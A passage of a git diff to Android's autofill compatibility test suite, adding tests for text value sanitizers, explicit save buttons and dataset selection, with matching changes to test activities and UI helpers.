+ SafeCleanerRule.MultipleExceptions.class,
+ () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+ assertThat(actualException.getThrowables())
+ .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+ .inOrder();
+ verify(mGoodGuyRunner1).run();
+ verify(mGoodGuyRunner2).run();
+ verify(mGoodGuyExtraExceptions1).call();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
index 702e1b1..d34eda1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
@@ -16,8 +16,11 @@
package android.autofillservice.cts;
+import static org.mockito.Mockito.mock;
import static org.testng.Assert.assertThrows;
+import android.service.autofill.InternalSanitizer;
+import android.service.autofill.Sanitizer;
import android.service.autofill.SaveInfo;
import android.support.test.runner.AndroidJUnit4;
import android.view.autofill.AutofillId;
@@ -28,6 +31,9 @@
@RunWith(AndroidJUnit4.class)
public class SaveInfoTest {
+ private final AutofillId mId = new AutofillId(42);
+ private final InternalSanitizer mSanitizer = mock(InternalSanitizer.class);
+
@Test
public void testRequiredIdsBuilder_null() {
assertThrows(IllegalArgumentException.class,
@@ -56,14 +62,14 @@
@Test
public void testSetOptionalIds_null() {
final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
- new AutofillId[] { new AutofillId(42) });
+ new AutofillId[] { mId });
assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
}
@Test
public void testSetOptional_empty() {
final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
- new AutofillId[] { new AutofillId(42) });
+ new AutofillId[] { mId });
assertThrows(IllegalArgumentException.class,
() -> builder.setOptionalIds(new AutofillId[] {}));
}
@@ -71,8 +77,38 @@
@Test
public void testSetOptional_nullEntry() {
final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
- new AutofillId[] { new AutofillId(42) });
+ new AutofillId[] { mId });
assertThrows(IllegalArgumentException.class,
() -> builder.setOptionalIds(new AutofillId[] { null }));
}
+
+ @Test
+ public void testAddSanitizer_illegalArgs() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { mId });
+ // Null sanitizer
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(null, mId));
+ // Invalid sanitizer class
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(mock(Sanitizer.class), mId));
+ // Null ids
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(mSanitizer, (AutofillId[]) null));
+ // Empty ids
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(mSanitizer, new AutofillId[] {}));
+ // Repeated ids
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.addSanitizer(mSanitizer, new AutofillId[] {mId, mId}));
+ }
+
+ @Test
+ public void testAddSanitizer_sameIdOnDifferentCalls() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { mId });
+ builder.addSanitizer(mSanitizer, mId);
+ assertThrows(IllegalArgumentException.class, () -> builder.addSanitizer(mSanitizer, mId));
+ }
+
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
index 0866b2d..cbb8523 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivity.java
@@ -16,6 +16,8 @@
package android.autofillservice.cts;
import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
@@ -25,19 +27,24 @@
*/
public class SimpleSaveActivity extends AbstractAutoFillActivity {
+ private static final String TAG = "SimpleSaveActivity";
+
static final String ID_LABEL = "label";
static final String ID_INPUT = "input";
static final String ID_PASSWORD = "password";
static final String ID_COMMIT = "commit";
static final String TEXT_LABEL = "Label:";
+ private static SimpleSaveActivity sInstance;
+
TextView mLabel;
EditText mInput;
EditText mPassword;
Button mCancel;
Button mCommit;
- private static SimpleSaveActivity sInstance;
+ private boolean mAutoCommit = true;
+ private boolean mClearFieldsOnSubmit = false;
public static SimpleSaveActivity getInstance() {
return sInstance;
@@ -60,7 +67,46 @@
mCommit = findViewById(R.id.commit);
mCancel.setOnClickListener((v) -> getAutofillManager().cancel());
- mCommit.setOnClickListener((v) -> getAutofillManager().commit());
+ mCommit.setOnClickListener((v) -> onCommit());
+ }
+
+ private void onCommit() {
+ if (mClearFieldsOnSubmit) {
+ resetFields();
+ }
+ if (mAutoCommit) {
+ Log.d(TAG, "onCommit(): calling AFM.commit()");
+ getAutofillManager().commit();
+ } else {
+ Log.d(TAG, "onCommit(): NOT calling AFM.commit()");
+ }
+ }
+
+ private void resetFields() {
+ Log.d(TAG, "resetFields()");
+ mInput.setText("");
+ mPassword.setText("");
+ }
+
+ /**
+ * Defines whether the activity should automatically call {@link AutofillManager#commit()} when
+ * the commit button is tapped.
+ */
+ void setAutoCommit(boolean flag) {
+ mAutoCommit = flag;
+ }
+
+ /**
+ * Defines whether the activity should automatically clear its fields when submit is clicked.
+ */
+ void setClearFieldsOnSubmit(boolean flag) {
+ mClearFieldsOnSubmit = flag;
+ }
+
+ FillExpectation expectAutoFill(String input) {
+ final FillExpectation expectation = new FillExpectation(input, null);
+ mInput.addTextChangedListener(expectation.mInputWatcher);
+ return expectation;
}
FillExpectation expectAutoFill(String input, String password) {
@@ -76,12 +122,16 @@
private FillExpectation(String input, String password) {
mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
- mPasswordWatcher = new OneTimeTextWatcher("password", mPassword, password);
+ mPasswordWatcher = password == null
+ ? null
+ : new OneTimeTextWatcher("password", mPassword, password);
}
void assertAutoFilled() throws Exception {
mInputWatcher.assertAutoFilled();
- mPasswordWatcher.assertAutoFilled();
+ if (mPasswordWatcher != null) {
+ mPasswordWatcher.assertAutoFilled();
+ }
}
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index 9fb16a2..ed7e24c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -15,7 +15,10 @@
*/
package android.autofillservice.cts;
+import static android.autofillservice.cts.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
+import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextValue;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
@@ -26,18 +29,30 @@
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
import android.content.Intent;
+import android.service.autofill.BatchUpdates;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.TextValueSanitizer;
+import android.service.autofill.Validator;
+import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiObject2;
import android.view.View;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
import org.junit.Rule;
import org.junit.Test;
+import java.util.regex.Pattern;
+
public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
@Rule
@@ -212,6 +227,37 @@
}
@Test
+ public void testSave_launchIntent() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.setOnSave(WelcomeActivity.createSender(mContext, "Saved by the bell"));
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ sReplier.getNextSaveRequest();
+ // ... and assert activity was launched
+ WelcomeActivity.assertShowing(sUiBot, "Saved by the bell");
+ }
+
+ @Test
public void testSaveThenStartNewSessionRightAway() throws Exception {
startActivity();
@@ -660,6 +706,64 @@
sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
}
+ @Test
+ public void testSelectedDatasetsAreSentOnSaveRequest() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ // Added on reversed order on purpose
+ .addDataset(new CannedDataset.Builder()
+ .setId("D2")
+ .setField(ID_INPUT, "id again")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("D2"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("D1")
+ .setField(ID_INPUT, "id")
+ .setPresentation(createPresentation("D1"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ // Select 1st dataset.
+ final FillExpectation autofillExpecation1 = mActivity.expectAutoFill("id");
+ final UiObject2 picker1 = sUiBot.assertDatasets("D2", "D1");
+ sUiBot.selectDataset(picker1, "D1");
+ autofillExpecation1.assertAutoFilled();
+
+ // Select 2nd dataset.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
+ final FillExpectation autofillExpecation2 = mActivity.expectAutoFill("id again", "pass");
+ final UiObject2 picker2 = sUiBot.assertDatasets("D2");
+ sUiBot.selectDataset(picker2, "D2");
+ autofillExpecation2.assertAutoFilled();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("ID");
+ mActivity.mPassword.setText("PASS");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Save it...
+ sUiBot.saveForAutofill(saveUi, true);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
+ assertThat(saveRequest.datasetIds).containsExactly("D1", "D2").inOrder();
+ }
+
@Override
protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
throws Exception {
@@ -717,4 +821,322 @@
assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
}
+
+ @Test
+ public void testSanitizeOnSaveWhenAppChangeValues() throws Exception {
+ startActivity();
+
+ // Set listeners that will change the saved value
+ new AntiTrimmerTextWatcher(mActivity.mInput);
+ new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("pass");
+ mActivity.mCommit.performClick();
+ });
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+ assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+ }
+
+ @Test
+ public void testSanitizeOnSaveNoChange() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setOptionalSavableIds(ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("#id#");
+ mActivity.mPassword.setText("#pass#");
+ mActivity.mCommit.performClick();
+ });
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
+ assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
+ }
+
+ @Test
+ public void testDontSaveWhenSanitizedValueForRequiredFieldDidntChange() throws Exception {
+ startActivity();
+
+ // Set listeners that will change the saved value
+ new AntiTrimmerTextWatcher(mActivity.mInput);
+ new AntiTrimmerTextWatcher(mActivity.mPassword);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId, passwordId)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("pass");
+ mActivity.mCommit.performClick();
+ });
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testDontSaveWhenSanitizedValueForOptionalFieldDidntChange() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setOptionalSavableIds(ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(Pattern.compile("(pass) "), "$1"), passwordId)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "pass")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("#pass#");
+ mActivity.mCommit.performClick();
+ });
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testDontSaveWhenRequiredFieldFailedSanitization() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+ inputId, passwordId)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "#id#")
+ .setField(ID_PASSWORD, "#pass#")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("pass");
+ mActivity.mCommit.performClick();
+ });
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testDontSaveWhenOptionalFieldFailedSanitization() throws Exception {
+ startActivity();
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final AutofillId inputId = mActivity.mInput.getAutofillId();
+ final AutofillId passwordId = mActivity.mPassword.getAutofillId();
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setOptionalSavableIds(ID_PASSWORD)
+ .addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
+ inputId, passwordId)
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_INPUT, "id")
+ .setField(ID_PASSWORD, "#pass#")
+ .setPresentation(createPresentation("YO"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("id");
+ mActivity.mPassword.setText("pass");
+ mActivity.mCommit.performClick();
+ });
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
+
+ @Test
+ public void testExplicitySaveButton() throws Exception {
+ explicitySaveButtonTest(false, 0);
+ }
+
+ @Test
+ public void testExplicitySaveButtonWhenAppClearFields() throws Exception {
+ explicitySaveButtonTest(true, 0);
+ }
+
+ @Test
+ public void testExplicitySaveButtonOnly() throws Exception {
+ explicitySaveButtonTest(false, SaveInfo.FLAG_DONT_SAVE_ON_FINISH);
+ }
+
+ /**
+ * Tests scenario where service explicitly indicates which button is used to save.
+ */
+ private void explicitySaveButtonTest(boolean clearFieldsOnSubmit, int flags) throws Exception {
+ startActivity();
+ mActivity.setAutoCommit(false);
+ mActivity.setClearFieldsOnSubmit(clearFieldsOnSubmit);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .setSaveTriggerId(mActivity.mCommit.getAutofillId())
+ .setSaveInfoFlags(flags)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ UiObject2 saveUi = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+ // Save it...
+ sUiBot.saveForAutofill(saveUi, true);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
+ }
+
+ @Override
+ protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
+ startActivity();
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final CustomDescription.Builder customDescription =
+ newCustomDescriptionBuilder(WelcomeActivity.class);
+ final RemoteViews update = newTemplate();
+ if (updateLinkView) {
+ update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
+ } else {
+ update.setCharSequence(R.id.static_text, "setText", "ME!");
+ }
+ Validator validCondition = new RegexValidator(mActivity.mInput.getAutofillId(),
+ Pattern.compile(".*"));
+ customDescription.batchUpdate(validCondition,
+ new BatchUpdates.Builder().updateTemplate(update).build());
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(customDescription.build())
+ .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mInput.setText("108");
+ mActivity.mCommit.performClick();
+ });
+ final UiObject2 saveUi;
+ if (updateLinkView) {
+ saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC, "TAP ME IF YOU CAN");
+ } else {
+ saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
+ final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
+ assertThat(changed.getText()).isEqualTo("ME!");
+ }
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
new file mode 100644
index 0000000..572e3b1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/TextValueSanitizerTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.TextValueSanitizer;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillValue;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class TextValueSanitizerTest {
+
+ @Test
+ public void testConstructor_nullValues() {
+ assertThrows(NullPointerException.class,
+ () -> new TextValueSanitizer(Pattern.compile("42"), null));
+ assertThrows(NullPointerException.class,
+ () -> new TextValueSanitizer(null, "42"));
+ }
+
+ @Test
+ public void testSanitize_nullValue() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+ assertThat(sanitizer.sanitize(null)).isNull();
+ }
+
+ @Test
+ public void testSanitize_nonTextValue() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "42");
+ final AutofillValue value = AutofillValue.forToggle(true);
+ assertThat(sanitizer.sanitize(value)).isNull();
+ }
+
+ @Test
+ public void testSanitize_badRegex() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+ "$2"); // invalid group
+ final AutofillValue value = AutofillValue.forText("blah 42 blaH");
+ assertThat(sanitizer.sanitize(value)).isNull();
+ }
+
+ @Test
+ public void testSanitize_valueMismatch() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"), "xxx");
+ final AutofillValue value = AutofillValue.forText("43");
+ assertThat(sanitizer.sanitize(value)).isNull();
+ }
+
+ @Test
+ public void testSanitize_simpleMatch() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile("42"),
+ "forty-two");
+ assertThat(sanitizer.sanitize(AutofillValue.forText("42")).getTextValue())
+ .isEqualTo("forty-two");
+ }
+
+ @Test
+ public void testSanitize_multipleMatches() {
+ final TextValueSanitizer sanitizer = new TextValueSanitizer(Pattern.compile(".*(\\d*).*"),
+ "Number");
+ assertThat(sanitizer.sanitize(AutofillValue.forText("blah 42 blaH")).getTextValue())
+ .isEqualTo("NumberNumber");
+ }
+
+ @Test
+ public void testSanitize_groupSubstitutionMatch() {
+ final TextValueSanitizer sanitizer =
+ new TextValueSanitizer(Pattern.compile("\\s*(\\d*)\\s*"), "$1");
+ assertThat(sanitizer.sanitize(AutofillValue.forText(" 42 ")).getTextValue())
+ .isEqualTo("42");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 5611499..84765ef 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -18,6 +18,7 @@
import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_DATASET_PICKER_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -44,6 +45,7 @@
import android.util.Log;
import android.view.accessibility.AccessibilityWindowInfo;
+import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
@@ -59,6 +61,7 @@
private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
+ private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -70,6 +73,9 @@
private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
"autofill_save_type_email_address";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+
private static final String RESOURCE_STRING_AUTOFILL = "autofill";
private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
"autofill_picker_accessibility_title";
@@ -84,13 +90,12 @@
/** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
public static int LANDSCAPE = 1;
-
private final UiDevice mDevice;
private final Context mContext;
private final String mPackageName;
private final UiAutomation mAutoman;
- UiBot(Instrumentation instrumentation) throws Exception {
+ UiBot(Instrumentation instrumentation) {
mDevice = UiDevice.getInstance(instrumentation);
mContext = instrumentation.getContext();
mPackageName = mContext.getPackageName();
@@ -118,9 +123,29 @@
* @return the dataset picker object.
*/
UiObject2 assertDatasets(String...names) {
- final UiObject2 picker = findDatasetPicker();
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
- .containsExactlyElementsIn(Arrays.asList(names));
+ .containsExactlyElementsIn(Arrays.asList(names)).inOrder();
+ return picker;
+ }
+
+ /**
+ * Asserts the dataset chooser is shown and contains the given datasets, header, and footer.
+ *
+ * @return the dataset picker object.
+ */
+ UiObject2 assertDatasetsWithBorders(String header, String footer, String...names) {
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
+ final List<String> expectedChild = new ArrayList<>();
+ if (header != null) {
+ expectedChild.add(header);
+ }
+ expectedChild.addAll(Arrays.asList(names));
+ if (footer != null) {
+ expectedChild.add(footer);
+ }
+ assertWithMessage("wrong elements on dataset picker").that(getChildrenAsText(picker))
+ .containsExactlyElementsIn(expectedChild).inOrder();
return picker;
}
@@ -147,7 +172,7 @@
* Selects a dataset that should be visible in the floating UI.
*/
void selectDataset(String name) {
- final UiObject2 picker = findDatasetPicker();
+ final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
selectDataset(picker, name);
}
@@ -403,11 +428,15 @@
assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
}
